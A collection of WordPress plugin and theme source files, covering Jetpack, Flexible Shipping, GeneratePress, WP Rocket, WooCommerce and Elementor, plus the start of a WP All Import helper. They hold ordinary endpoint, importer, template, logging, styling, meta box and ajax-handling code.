 * JSON API plugins get endpoint.
 */
new Jetpack_JSON_API_Plugins_Get_Endpoint(
	array(
		'description'             => 'Get the Plugin data.',
		'method'                  => 'GET',
		'path'                    => '/sites/%s/plugins/%s/',
		'min_version'             => '1',
		'max_version'             => '1.1',
		'stat'                    => 'plugins:1',
		'path_labels'             => array(
			'$site'   => '(int|string) The site ID, The site domain',
			'$plugin' => '(string) The plugin ID',
		),
		'allow_jetpack_site_auth' => true,
		'response_format'         => Jetpack_JSON_API_Plugins_Endpoint::$_response_format,
		'example_request_data'    => array(
			'headers' => array(
				'authorization' => 'Bearer YOUR_API_TOKEN',
			),
		),
		'example_request'         => 'https://public-api.wordpress.com/rest/v1/sites/example.wordpress.org/plugins/hello-dolly%20hello',
	)
);

/**
 * Plugins get endpoint class.
 *
 * GET  /sites/%s/plugins/%s
 *
 * No v1.2 version since it is .com only
 */
class Jetpack_JSON_API_Plugins_Get_Endpoint extends Jetpack_JSON_API_Plugins_Endpoint {
	/**
	 * Needed capabilities.
	 *
	 * @var string
	 */
	protected $needed_capabilities = 'activate_plugins';
}
<?php
/**
 * Abstract Importer
 *
 * @package WPDesk\FS\TableRate\Importer
 */

namespace WPDesk\FS\TableRate\ImporterExporter\Importer;

use WPDesk\FS\TableRate\ImporterExporter\ShippingClassTrait;
use WPDesk_Flexible_Shipping;

/**
 * Class AbstractImporter
 *
 * @package WPDesk\FS\TableRate\Importer
 */
abstract class AbstractImporter implements Importer {
	use ShippingClassTrait;

	/**
	 * @var array .
	 */
	protected $file;

	/**
	 * @var WPDesk_Flexible_Shipping .
	 */
	protected $flexible_shipping_method;

	/**
	 * @var array .
	 */
	protected $shipping_methods;

	/**
	 * WPDesk_Flexible_Shipping_Csv_Importer constructor.
	 *
	 * @param array                    $file                     .
	 * @param WPDesk_Flexible_Shipping $flexible_shipping_method Flexible shipping method.
	 * @param array                    $shipping_methods         .
	 */
	public function __construct( array $file, WPDesk_Flexible_Shipping $flexible_shipping_method, array $shipping_methods ) {
		$this->file                     = $file;
		$this->shipping_methods         = $shipping_methods;
		$this->flexible_shipping_method = $flexible_shipping_method;

		$this->init_shipping_class();
	}

	/**
	 * Process import data.
	 */
	abstract public function import();

	/**
	 * @return array
	 */
	public function get_shipping_methods() {
		return $this->shipping_methods;
	}

	/**
	 * @param string $method_title .
	 *
	 * @return string
	 */
	protected function get_new_method_title( $method_title ) {
		$count = 0;

		$new_method_title = $method_title;

		while ( $this->flexible_shipping_method->shipping_method_title_used( $new_method_title, $this->shipping_methods ) ) {
			if ( 0 === $count ) {
				$new_method_title = sprintf( '%s (%s)', $method_title, __( 'import', 'flexible-shipping' ) );
			} else {
				$new_method_title = sprintf( '%s (%s %d)', $method_title, __( 'import', 'flexible-shipping' ), $count );
			}

			$count ++;
		}

		return $new_method_title;
	}
}
<?php
/**
 * The template for displaying Archive pages.
 *
 * Learn more: http://codex.wordpress.org/Template_Hierarchy
 *
 * @package GeneratePress
 */

// No direct access, please
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

get_header(); ?>

	<section id="primary" <?php generate_do_element_classes( 'content' ); ?>>
		<main id="main" <?php generate_do_element_classes( 'main' ); ?>>
		<?php do_action( 'generate_before_main_content' ); ?>
		<?php if ( have_posts() ) : ?>

			<?php
			if ( is_archive() || is_post_type_archive() ) {
				do_action( 'generate_archive_title' );
			}
			?>

			<?php /* Start the Loop */ ?>
			<?php
			while ( have_posts() ) :
				the_post();
				?>

			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> <?php generate_article_schema( 'CreativeWork' ); ?>>
				<div class="inside-article">
					<?php echo do_action( 'aepro_archive_data', get_the_content() ); ?>
				</div>
			</article>


			<?php endwhile; ?>

			<?php generate_content_nav( 'nav-below' ); ?>

		<?php else : ?>

			<?php get_template_part( 'no-results', 'archive' ); ?>

		<?php endif; ?>
		<?php do_action( 'generate_after_main_content' ); ?>
		</main><!-- #main -->
	</section><!-- #primary -->

<?php
generate_construct_sidebars();
get_footer();
<?php return array('dependencies' => array('wp-data'), 'version' => 'a6a205faac7f921b967b');
<?php
namespace WP_Rocket\Admin;

use WP_Rocket\Logger\Logger;
use WP_Rocket\Event_Management\Subscriber_Interface;

defined( 'ABSPATH' ) || exit;

/**
 * Class that handles few things about the logs.
 *
 * @since  3.1.4
 * @author Grégory Viguier
 */
class Logs implements Subscriber_Interface {

	/**
	 * Returns an array of events that this subscriber wants to listen to.
	 *
	 * @since  3.1.4
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @return array
	 */
	public static function get_subscribed_events() {
		return [
			'pre_update_option_' . WP_ROCKET_SLUG   => [ 'enable_debug', 10, 2 ],
			'admin_post_rocket_download_debug_file' => 'download_debug_file',
			'admin_post_rocket_delete_debug_file'   => 'delete_debug_file',
		];
	}

	/** ----------------------------------------------------------------------------------------- */
	/** DEBUG ACTIVATION ======================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Enable or disable the debug mode when settings are saved.
	 *
	 * @since  3.1.4
	 * @access public
	 * @author Grégory Viguier
	 *
	 * @param  array $newvalue An array of submitted options values.
	 * @param  array $oldvalue An array of previous options values.
	 * @return array           Updated submitted options values.
	 */
	public function enable_debug( $newvalue, $oldvalue ) {
		if ( empty( $_POST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
			return $newvalue;
		}

		if ( ! empty( $newvalue['debug_enabled'] ) ) {
			Logger::enable_debug();
		} else {
			Logger::disable_debug();
		}

		unset( $newvalue['debug_enabled'] );

		return $newvalue;
	}

	/** ----------------------------------------------------------------------------------------- */
	/** ADMIN POST CALLBACKS ==================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Download the log file.
	 *
	 * @since  3.1.4
	 * @access public
	 * @author Grégory Viguier
	 */
	public function download_debug_file() {
		if ( ! $this->verify_nonce( 'download_debug_file' ) ) {
			wp_nonce_ays( '' );
		}

		if ( ! $this->current_user_can() ) {
			$this->redirect();
		}

		$contents = Logger::get_log_file_contents();

		if ( is_wp_error( $contents ) ) {
			add_settings_error( 'general', $contents->get_error_code(), $contents->get_error_message(), 'error' );
			set_transient( 'settings_errors', get_settings_errors(), 30 );

			$this->redirect( add_query_arg( 'settings-updated', 1, wp_get_referer() ) );
		}

		$file_name = Logger::get_log_file_path();
		$file_name = basename( $file_name, '.log' ) . Logger::get_log_file_extension();

		nocache_headers();
		@header( 'Content-Type: text/x-log' );
		@header( 'Content-Disposition: attachment; filename="' . $file_name . '"' );
		@header( 'Content-Transfer-Encoding: binary' );
		@header( 'Content-Length: ' . strlen( $contents ) );
		@header( 'Connection: close' );
		echo $contents; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		exit();
	}

	/**
	 * Delete the log file.
	 *
	 * @since  3.1.4
	 * @access public
	 * @author Grégory Viguier
	 */
	public function delete_debug_file() {
		if ( ! $this->verify_nonce( 'delete_debug_file' ) ) {
			wp_nonce_ays( '' );
		}

		if ( ! $this->current_user_can() ) {
			$this->redirect();
		}

		if ( ! Logger::delete_log_file() ) {
			add_settings_error( 'general', 'debug_file_not_deleted', __( 'The debug file could not be deleted.', 'rocket' ), 'error' );
			set_transient( 'settings_errors', get_settings_errors(), 30 );

			$this->redirect( add_query_arg( 'settings-updated', 1, wp_get_referer() ) );
		}

		// Done.
		$this->redirect();
	}


	/** ----------------------------------------------------------------------------------------- */
	/** TOOLS =================================================================================== */
	/** ----------------------------------------------------------------------------------------- */

	/**
	 * Verify the nonce sent in $_GET['_wpnonce'].
	 *
	 * @since  3.1.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param  string $nonce_name The nonce name.
	 * @return bool
	 */
	protected function verify_nonce( $nonce_name ) {
		return isset( $_GET['_wpnonce'] ) && wp_verify_nonce( $_GET['_wpnonce'], $nonce_name ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
	}

	/**
	 * Tell if the current user can operate.
	 *
	 * @since  3.1.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @return bool
	 */
	protected function current_user_can() {
		return current_user_can( 'rocket_manage_options' );
	}

	/**
	 * Redirect the user.
	 *
	 * @since  3.1.4
	 * @access protected
	 * @author Grégory Viguier
	 *
	 * @param string $redirect URL to redirect the user to.
	 */
	protected function redirect( $redirect = null ) {
		if ( empty( $redirect ) ) {
			$redirect = wp_get_referer();
		}

		wp_safe_redirect( esc_url_raw( $redirect ) );
		die();
	}
}
.wc-block-cart {
	.wc-block-components-shipping-calculator {
		white-space: nowrap;
	}

	.wc-block-components-address-form {
		.wc-block-components-text-input,
		.wc-block-components-country-input,
		.wc-block-components-state-input {
			&:first-of-type {
				margin-top: 0;
			}
		}
	}
}

table.wc-block-cart-items,
table.wc-block-cart-items th,
table.wc-block-cart-items td {
	// Override Storefront theme gray table background.
	background: none !important;
	// Remove borders on default themes.
	border: 0;
	margin: 0;
}

.editor-styles-wrapper table.wc-block-cart-items,
table.wc-block-cart-items {
	width: 100%;

	.wc-block-cart-items__header {
		@include font-size(smaller);
		text-transform: uppercase;

		.wc-block-cart-items__header-image {
			width: 100px;
		}
		.wc-block-cart-items__header-product {
			visibility: hidden;
		}
		.wc-block-cart-items__header-total {
			width: 100px;
			text-align: right;
		}
	}
	.wc-block-cart-items__row {
		.wc-block-cart-item__image img {
			width: 100%;
			margin: 0;
		}
		.wc-block-cart-item__quantity {
			.wc-block-cart-item__remove-link {
				@include link-button;
				@include font-size(smaller);

				text-transform: none;
				white-space: nowrap;
			}
		}
		.wc-block-components-product-name {
			display: block;
			max-width: max-content;
		}
		.wc-block-cart-item__total {
			@include font-size(regular);
			text-align: right;
			line-height: inherit;
		}
		.wc-block-components-product-metadata {
			margin-bottom: 0.75em;
		}

		&.is-disabled {
			opacity: 0.5;
			pointer-events: none;
			transition: opacity 200ms ease;
		}
	}
}

.wc-block-cart .wc-block-components-shipping-rates-control__package {
	@include with-translucent-border(1px 0 0);
}

// Loading placeholder state.
.wc-block-cart--is-loading {
	th span,
	h2 span {
		@include placeholder();
		@include force-content();
		min-width: 84px;
		display: inline-block;
	}
	h2 span {
		min-width: 33%;
	}
	.wc-block-cart-items {
		.wc-block-cart-items__row {
			.wc-block-cart-item__price,
			.wc-block-cart-item__individual-price,
			.wc-block-cart-item__product-metadata,
			.wc-block-cart-item__image > *,
			.wc-block-components-quantity-selector {
				@include placeholder();
			}
			.wc-block-cart-item__product-name {
				@include placeholder();
				@include force-content();
				min-width: 84px;
				display: inline-block;
			}
			.wc-block-cart-item__product-metadata {
				margin-top: 0.25em;
				min-width: 8em;
			}
			.wc-block-cart-item__remove-link {
				visibility: hidden;
			}
			.wc-block-cart-item__image a {
				display: block;
			}
			.wc-block-cart-item__individual-price {
				@include force-content();
				max-width: 3em;
				display: block;
				margin-top: 0.25em;
			}
			.wc-block-cart-item__total {
				> span,
				> div {
					display: none;
				}
				.wc-block-cart-item__price {
					@include force-content();
					display: block;
				}
			}
		}
	}
	.wc-block-cart__sidebar .components-card {
		@include placeholder();
		@include force-content();
		min-height: 460px;
	}
}
.wc-block-components-sidebar-layout.wc-block-cart--skeleton {
	display: none;
}
.is-loading + .wc-block-components-sidebar-layout.wc-block-cart--skeleton {
	display: flex;
}

.wc-block-cart-item__total-price-and-sale-badge-wrapper {
	display: flex;
	flex-direction: column;
	align-items: flex-end;

	.wc-block-components-sale-badge {
		margin-top: $gap-smallest;
	}
}

.is-small,
.is-mobile {
	.wc-block-cart-item__total {
		.wc-block-components-sale-badge {
			display: none;
		}
	}
}

.is-medium,
.is-small,
.is-mobile {
	&.wc-block-cart {
		.wc-block-components-sidebar {
			.wc-block-cart__totals-title {
				display: none;
			}
		}
	}
	table.wc-block-cart-items {
		td {
			padding: 0;
		}
		.wc-block-cart-items__header {
			display: none;
		}
		.wc-block-cart-item__remove-link {
			display: none;
		}
		.wc-block-cart-items__row {
			@include with-translucent-border(0 0 1px);
			display: grid;
			grid-template-columns: 80px 132px;
			padding: $gap 0;

			.wc-block-cart-item__image {
				grid-column-start: 1;
				grid-row-start: 1;
				padding-right: $gap;
			}
			.wc-block-cart-item__product {
				grid-column-start: 2;
				grid-column-end: 4;
				grid-row-start: 1;
				justify-self: stretch;
				padding: 0 $gap $gap 0;
			}
			.wc-block-cart-item__quantity {
				grid-column-start: 1;
				grid-row-start: 2;
				vertical-align: bottom;
				padding-right: $gap;
				align-self: end;
				padding-top: $gap;
			}
			.wc-block-cart-item__total {
				grid-row-start: 1;

				.wc-block-components-formatted-money-amount {
					display: inline-block;
				}
			}
		}
	}
}

.is-large.wc-block-cart {
	.wc-block-cart-items {
		@include with-translucent-border(0 0 1px);

		th {
			padding: 0.25rem $gap 0.25rem 0;
			white-space: nowrap;
		}
		td {
			@include with-translucent-border(1px 0 0);
			padding: $gap $gap $gap 0;
			vertical-align: top;
		}
		th:last-child,
		td:last-child {
			padding-right: 0;
		}
	}

	.wc-block-components-radio-control__input {
		left: 0;
	}

	.wc-block-cart__totals-title {
		@include with-translucent-border(0 0 1px);
		@include text-heading();
		@include font-size(smaller);
		display: block;
		font-weight: 600;
		padding: 0.25rem 0;
		text-align: right;
		text-transform: uppercase;
	}

	.wc-block-components-sidebar {
		.wc-block-components-shipping-calculator,
		.wc-block-components-shipping-rates-control__package:not(.wc-block-components-panel) {
			padding-left: $gap;
			padding-right: $gap;
		}
	}

	.wc-block-cart__payment-options {
		padding: $gap;
	}
}
<?php
/**
 * WooCommerce Meta Boxes
 *
 * Sets up the write panels used by products and orders (custom post types).
 *
 * @package WooCommerce\Admin\Meta Boxes
 */

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Internal\Admin\Orders\Edit as OrderEdit;

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Meta_Boxes.
 */
class WC_Admin_Meta_Boxes {
	/**
	 * Name of the option used to store errors to be displayed at the next suitable opportunity.
	 *
	 * @since 6.5.0
	 */
	public const ERROR_STORE = 'woocommerce_meta_box_errors';

	/**
	 * Is meta boxes saved once?
	 *
	 * @var boolean
	 */
	private static $saved_meta_boxes = false;

	/**
	 * Meta box error messages.
	 *
	 * @var array
	 */
	public static $meta_box_errors = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'remove_meta_boxes' ), 10 );
		add_action( 'add_meta_boxes', array( $this, 'rename_meta_boxes' ), 20 );
		add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ), 30 );
		add_action( 'add_meta_boxes', array( $this, 'add_product_boxes_sort_order' ), 40 );
		add_action( 'save_post', array( $this, 'save_meta_boxes' ), 1, 2 );

		OrderEdit::add_save_meta_boxes();

		// Save Product Meta Boxes.
		add_action( 'woocommerce_process_product_meta', 'WC_Meta_Box_Product_Data::save', 10, 2 );
		add_action( 'woocommerce_process_product_meta', 'WC_Meta_Box_Product_Images::save', 20, 2 );

		// Save Coupon Meta Boxes.
		add_action( 'woocommerce_process_shop_coupon_meta', 'WC_Meta_Box_Coupon_Data::save', 10, 2 );

		// Save Rating Meta Boxes.
		add_filter( 'wp_update_comment_data', 'WC_Meta_Box_Product_Reviews::save', 1 );

		// Error handling (for showing errors from meta boxes on next page load).
		add_action( 'admin_notices', array( $this, 'output_errors' ) );
		add_action( 'shutdown', array( $this, 'append_to_error_store' ) );

		add_filter( 'theme_product_templates', array( $this, 'remove_block_templates' ), 10, 1 );
	}

	/**
	 * Add an error message.
	 *
	 * @param string $text Error to add.
	 */
	public static function add_error( $text ) {
		self::$meta_box_errors[] = $text;
	}

	/**
	 * Save errors to an option.
	 *
	 * Note that calling this will overwrite any errors that have already been stored via the Options API.
	 * Unless you are sure you want this, consider using the append_to_error_store() method instead.
	 */
	public function save_errors() {
		update_option( self::ERROR_STORE, self::$meta_box_errors );
	}

	/**
	 * If additional errors have been added in the current request (ie, via the add_error() method) then they
	 * will be added to the persistent error store via the Options API.
	 *
	 * @since 6.5.0
	 */
	public function append_to_error_store() {
		if ( empty( self::$meta_box_errors ) ) {
			return;
		}

		$existing_errors = get_option( self::ERROR_STORE, array() );
		update_option( self::ERROR_STORE, array_unique( array_merge( $existing_errors, self::$meta_box_errors ) ) );
	}

	/**
	 * Show any stored error messages.
	 */
	public function output_errors() {
		$errors = array_filter( (array) get_option( self::ERROR_STORE ) );

		if ( ! empty( $errors ) ) {

			echo '<div id="woocommerce_errors" class="error notice is-dismissible">';

			foreach ( $errors as $error ) {
				echo '<p>' . wp_kses_post( $error ) . '</p>';
			}

			echo '</div>';

			// Clear.
			delete_option( self::ERROR_STORE );
		}
	}

	/**
	 * Add WC Meta boxes.
	 */
	public function add_meta_boxes() {
		$screen    = get_current_screen();
		$screen_id = $screen ? $screen->id : '';

		// Products.
		add_meta_box( 'postexcerpt', __( 'Product short description', 'woocommerce' ), 'WC_Meta_Box_Product_Short_Description::output', 'product', 'normal' );
		add_meta_box( 'woocommerce-product-data', __( 'Product data', 'woocommerce' ), 'WC_Meta_Box_Product_Data::output', 'product', 'normal', 'high' );
		add_meta_box( 'woocommerce-product-images', __( 'Product gallery', 'woocommerce' ), 'WC_Meta_Box_Product_Images::output', 'product', 'side', 'low' );

		// Orders.
		foreach ( wc_get_order_types( 'order-meta-boxes' ) as $type ) {
			$order_type_object = get_post_type_object( $type );
			OrderEdit::add_order_meta_boxes( $type, $order_type_object->labels->singular_name );
		}

		// Coupons.
		add_meta_box( 'woocommerce-coupon-data', __( 'Coupon data', 'woocommerce' ), 'WC_Meta_Box_Coupon_Data::output', 'shop_coupon', 'normal', 'high' );

		// Comment rating.
		if ( 'comment' === $screen_id && isset( $_GET['c'] ) && metadata_exists( 'comment', wc_clean( wp_unslash( $_GET['c'] ) ), 'rating' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			add_meta_box( 'woocommerce-rating', __( 'Rating', 'woocommerce' ), 'WC_Meta_Box_Product_Reviews::output', 'comment', 'normal', 'high' );
		}
	}

	/**
	 * Add default sort order for meta boxes on product page.
	 */
	public function add_product_boxes_sort_order() {
		$current_value = get_user_meta( get_current_user_id(), 'meta-box-order_product', true );

		if ( $current_value ) {
			return;
		}

		update_user_meta(
			get_current_user_id(),
			'meta-box-order_product',
			array(
				'side'     => 'submitdiv,postimagediv,woocommerce-product-images,product_catdiv,tagsdiv-product_tag',
				'normal'   => 'woocommerce-product-data,postcustom,slugdiv,postexcerpt',
				'advanced' => '',
			)
		);

	}

	/**
	 * Remove bloat.
	 */
	public function remove_meta_boxes() {
		remove_meta_box( 'postexcerpt', 'product', 'normal' );
		remove_meta_box( 'product_shipping_classdiv', 'product', 'side' );
		remove_meta_box( 'commentsdiv', 'product', 'normal' );
		remove_meta_box( 'commentstatusdiv', 'product', 'side' );
		remove_meta_box( 'commentstatusdiv', 'product', 'normal' );
		remove_meta_box( 'woothemes-settings', 'shop_coupon', 'normal' );
		remove_meta_box( 'commentstatusdiv', 'shop_coupon', 'normal' );
		remove_meta_box( 'slugdiv', 'shop_coupon', 'normal' );

		foreach ( wc_get_order_types( 'order-meta-boxes' ) as $type ) {
			remove_meta_box( 'commentsdiv', $type, 'normal' );
			remove_meta_box( 'woothemes-settings', $type, 'normal' );
			remove_meta_box( 'commentstatusdiv', $type, 'normal' );
			remove_meta_box( 'slugdiv', $type, 'normal' );
			remove_meta_box( 'submitdiv', $type, 'side' );
		}
	}

	/**
	 * Rename core meta boxes.
	 */
	public function rename_meta_boxes() {
		global $post;

		// Comments/Reviews.
		if ( isset( $post ) && ( 'publish' === $post->post_status || 'private' === $post->post_status ) && post_type_supports( 'product', 'comments' ) ) {
			remove_meta_box( 'commentsdiv', 'product', 'normal' );
			add_meta_box( 'commentsdiv', __( 'Reviews', 'woocommerce' ), 'post_comment_meta_box', 'product', 'normal' );
		}
	}

	/**
	 * Check if we're saving, the trigger an action based on the post type.
	 *
	 * @param  int    $post_id Post ID.
	 * @param  object $post Post object.
	 */
	public function save_meta_boxes( $post_id, $post ) {
		$post_id = absint( $post_id );

		// $post_id and $post are required
		if ( empty( $post_id ) || empty( $post ) || self::$saved_meta_boxes ) {
			return;
		}

		// Dont' save meta boxes for revisions or autosaves.
		if ( Constants::is_true( 'DOING_AUTOSAVE' ) || is_int( wp_is_post_revision( $post ) ) || is_int( wp_is_post_autosave( $post ) ) ) {
			return;
		}

		// Check the nonce.
		if ( empty( $_POST['woocommerce_meta_nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['woocommerce_meta_nonce'] ), 'woocommerce_save_data' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			return;
		}

		// Check the post being saved == the $post_id to prevent triggering this call for other save_post events.
		if ( empty( $_POST['post_ID'] ) || absint( $_POST['post_ID'] ) !== $post_id ) {
			return;
		}

		// Check user has permission to edit.
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return;
		}

		// We need this save event to run once to avoid potential endless loops. This would have been perfect:
		// remove_action( current_filter(), __METHOD__ );
		// But cannot be used due to https://github.com/woocommerce/woocommerce/issues/6485
		// When that is patched in core we can use the above.
		self::$saved_meta_boxes = true;

		// Check the post type.
		if ( in_array( $post->post_type, wc_get_order_types( 'order-meta-boxes' ), true ) ) {
			/**
			 * Save meta for shop order.
			 *
			 * @param int $post_id Post ID.
			 * @param object $post Post object.
			 *
			 * @since 2.1.0
			 */
			do_action( 'woocommerce_process_shop_order_meta', $post_id, $post );
		} elseif ( in_array( $post->post_type, array( 'product', 'shop_coupon' ), true ) ) {
			/**
			 * Save meta for product.
			 *
			 * @param int $post_id Post ID.
			 * @param object $post Post object.
			 *
			 * @since 2.1.0
			 */
			do_action( 'woocommerce_process_' . $post->post_type . '_meta', $post_id, $post );
		}
	}

	/**
	 * Remove irrelevant block templates from the list of available templates for products.
	 * This will also remove custom created templates.
	 *
	 * @param string[] $templates Array of template header names keyed by the template file name.
	 *
	 * @return string[] Templates array excluding block-based templates.
	 */
	public function remove_block_templates( $templates ) {
		if ( count( $templates ) === 0 || ! wc_current_theme_is_fse_theme() || ( ! function_exists( 'gutenberg_get_block_template' ) && ! function_exists( 'get_block_template' ) ) ) {
			return $templates;
		}

		$theme              = wp_get_theme()->get_stylesheet();
		$filtered_templates = array();

		foreach ( $templates as $template_key => $template_name ) {
			// Filter out the single-product.html template as this is a duplicate of "Default Template".
			if ( 'single-product' === $template_key ) {
				continue;
			}

			$block_template = function_exists( 'gutenberg_get_block_template' ) ?
				gutenberg_get_block_template( $theme . '//' . $template_key ) :
				get_block_template( $theme . '//' . $template_key );

			// If the block template has the product post type specified, include it.
			if ( $block_template && is_array( $block_template->post_types ) && in_array( 'product', $block_template->post_types ) ) {
				$filtered_templates[ $template_key ] = $template_name;
			}
		}

		return $filtered_templates;
	}
}

new WC_Admin_Meta_Boxes();
<?php
namespace Elementor\Core\Common\Modules\Ajax;

use Elementor\Core\Base\Module as BaseModule;
use Elementor\Core\Utils\Exceptions;
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor ajax manager.
 *
 * Elementor ajax manager handler class is responsible for handling Elementor
 * ajax requests, ajax responses and registering actions applied on them.
 *
 * @since 2.0.0
 */
class Module extends BaseModule {

	const NONCE_KEY = 'elementor_ajax';

	/**
	 * Ajax actions.
	 *
	 * Holds all the register ajax action.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @var array
	 */
	private $ajax_actions = [];

	/**
	 * Ajax requests.
	 *
	 * Holds all the register ajax requests.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @var array
	 */
	private $requests = [];

	/**
	 * Ajax response data.
	 *
	 * Holds all the response data for all the ajax requests.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @var array
	 */
	private $response_data = [];

	/**
	 * Current ajax action ID.
	 *
	 * Holds all the ID for the current ajax action.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @var string|null
	 */
	private $current_action_id = null;

	/**
	 * Ajax manager constructor.
	 *
	 * Initializing Elementor ajax manager.
	 *
	 * @since 2.0.0
	 * @access public
	 */
	public function __construct() {
		add_action( 'wp_ajax_elementor_ajax', [ $this, 'handle_ajax_request' ] );
	}

	/**
	 * Get module name.
	 *
	 * Retrieve the module name.
	 *
	 * @since  1.7.0
	 * @access public
	 *
	 * @return string Module name.
	 */
	public function get_name() {
		return 'ajax';
	}

	/**
	 * Register ajax action.
	 *
	 * Add new actions for a specific ajax request and the callback function to
	 * be handle the response.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string   $tag      Ajax request name/tag.
	 * @param callable $callback The callback function.
	 */
	public function register_ajax_action( $tag, $callback ) {
		if ( ! did_action( 'elementor/ajax/register_actions' ) ) {
			_doing_it_wrong( __METHOD__, esc_html( sprintf( 'Use `%s` hook to register ajax action.', 'elementor/ajax/register_actions' ) ), '2.0.0' );
		}

		$this->ajax_actions[ $tag ] = compact( 'tag', 'callback' );
	}

	/**
	 * Handle ajax request.
	 *
	 * Verify ajax nonce, and run all the registered actions for this request.
	 *
	 * Fired by `wp_ajax_elementor_ajax` action.
	 *
	 * @since 2.0.0
	 * @access public
	 */
	public function handle_ajax_request() {
		if ( ! $this->verify_request_nonce() ) {
			$this->add_response_data( false, esc_html__( 'Token Expired.', 'elementor' ) )
				->send_error( Exceptions::UNAUTHORIZED );
		}

		$editor_post_id = 0;

		if ( ! empty( $_REQUEST['editor_post_id'] ) ) {
			$editor_post_id = absint( $_REQUEST['editor_post_id'] );

			Plugin::$instance->db->switch_to_post( $editor_post_id );
		}

		/**
		 * Register ajax actions.
		 *
		 * Fires when an ajax request is received and verified.
		 *
		 * Used to register new ajax action handles.
		 *
		 * @since 2.0.0
		 *
		 * @param self $this An instance of ajax manager.
		 */
		do_action( 'elementor/ajax/register_actions', $this );

		$this->requests = json_decode( stripslashes( $_REQUEST['actions'] ), true );

		foreach ( $this->requests as $id => $action_data ) {
			$this->current_action_id = $id;

			if ( ! isset( $this->ajax_actions[ $action_data['action'] ] ) ) {
				$this->add_response_data( false, esc_html__( 'Action not found.', 'elementor' ), Exceptions::BAD_REQUEST );

				continue;
			}

			if ( $editor_post_id ) {
				$action_data['data']['editor_post_id'] = $editor_post_id;
			}

			try {
				$results = call_user_func( $this->ajax_actions[ $action_data['action'] ]['callback'], $action_data['data'], $this );

				if ( false === $results ) {
					$this->add_response_data( false );
				} else {
					$this->add_response_data( true, $results );
				}
			} catch ( \Exception $e ) {
				$this->add_response_data( false, $e->getMessage(), $e->getCode() );
			}
		}

		$this->current_action_id = null;

		$this->send_success();
	}

	/**
	 * Get current action data.
	 *
	 * Retrieve the data for the current ajax request.
	 *
	 * @since 2.0.1
	 * @access public
	 *
	 * @return bool|mixed Ajax request data if action exist, False otherwise.
	 */
	public function get_current_action_data() {
		if ( ! $this->current_action_id ) {
			return false;
		}

		return $this->requests[ $this->current_action_id ];
	}

	/**
	 * Create nonce.
	 *
	 * Creates a cryptographic token to
	 * give the user an access to Elementor ajax actions.
	 *
	 * @since 2.3.0
	 * @access public
	 *
	 * @return string The nonce token.
	 */
	public function create_nonce() {
		return wp_create_nonce( self::NONCE_KEY );
	}

	/**
	 * Verify request nonce.
	 *
	 * Whether the request nonce verified or not.
	 *
	 * @since 2.3.0
	 * @access public
	 *
	 * @return bool True if request nonce verified, False otherwise.
	 */
	public function verify_request_nonce() {
		return ! empty( $_REQUEST['_nonce'] ) && wp_verify_nonce( $_REQUEST['_nonce'], self::NONCE_KEY );
	}

	protected function get_init_settings() {
		return [
			'url' => admin_url( 'admin-ajax.php' ),
			'nonce' => $this->create_nonce(),
		];
	}

	/**
	 * Ajax success response.
	 *
	 * Send a JSON response data back to the ajax request, indicating success.
	 *
	 * @since 2.0.0
	 * @access protected
	 */
	private function send_success() {
		$response = [
			'success' => true,
			'data' => [
				'responses' => $this->response_data,
			],
		];

		$json = wp_json_encode( $response );

		while ( ob_get_status() ) {
			ob_end_clean();
		}

		if ( function_exists( 'gzencode' ) ) {
			$response = gzencode( $json );

			header( 'Content-Type: application/json; charset=utf-8' );
			header( 'Content-Encoding: gzip' );
			header( 'Content-Length: ' . strlen( $response ) );

			echo $response; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		} else {
			echo $json; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}

		wp_die( '', '', [ 'response' => null ] );
	}

	/**
	 * Ajax failure response.
	 *
	 * Send a JSON response data back to the ajax request, indicating failure.
	 *
	 * @since 2.0.0
	 * @access protected
	 *
	 * @param null $code
	 */
	private function send_error( $code = null ) {
		wp_send_json_error( [
			'responses' => $this->response_data,
		], $code );
	}

	/**
	 * Add response data.
	 *
	 * Add new response data to the array of all the ajax requests.
	 *
	 * @since 2.0.0
	 * @access protected
	 *
	 * @param bool  $success True if the requests returned successfully, False
	 *                       otherwise.
	 * @param mixed $data    Optional. Response data. Default is null.
	 *
	 * @param int   $code    Optional. Response code. Default is 200.
	 *
	 * @return Module An instance of ajax manager.
	 */
	private function add_response_data( $success, $data = null, $code = 200 ) {
		$this->response_data[ $this->current_action_id ] = [
			'success' => $success,
			'code' => $code,
			'data' => $data,
		];

		return $this;
	}
}
<?php
if ( ! function_exists('wp_all_import_get_gz')){

	function wp_all_import_get_gz($filename, $use_include_path = 0, $targetDir = false, $headers = false) {					

		$type = 'csv';
        if (!empty($headers['Content-Type']) && preg_match('%(csv|xml|json|sql|txt|xls|xlsx)$%i', $headers['Content-Type'])) {
            $type = $headers['Content-Type'];
        }

		$uploads = wp_upload_dir();	
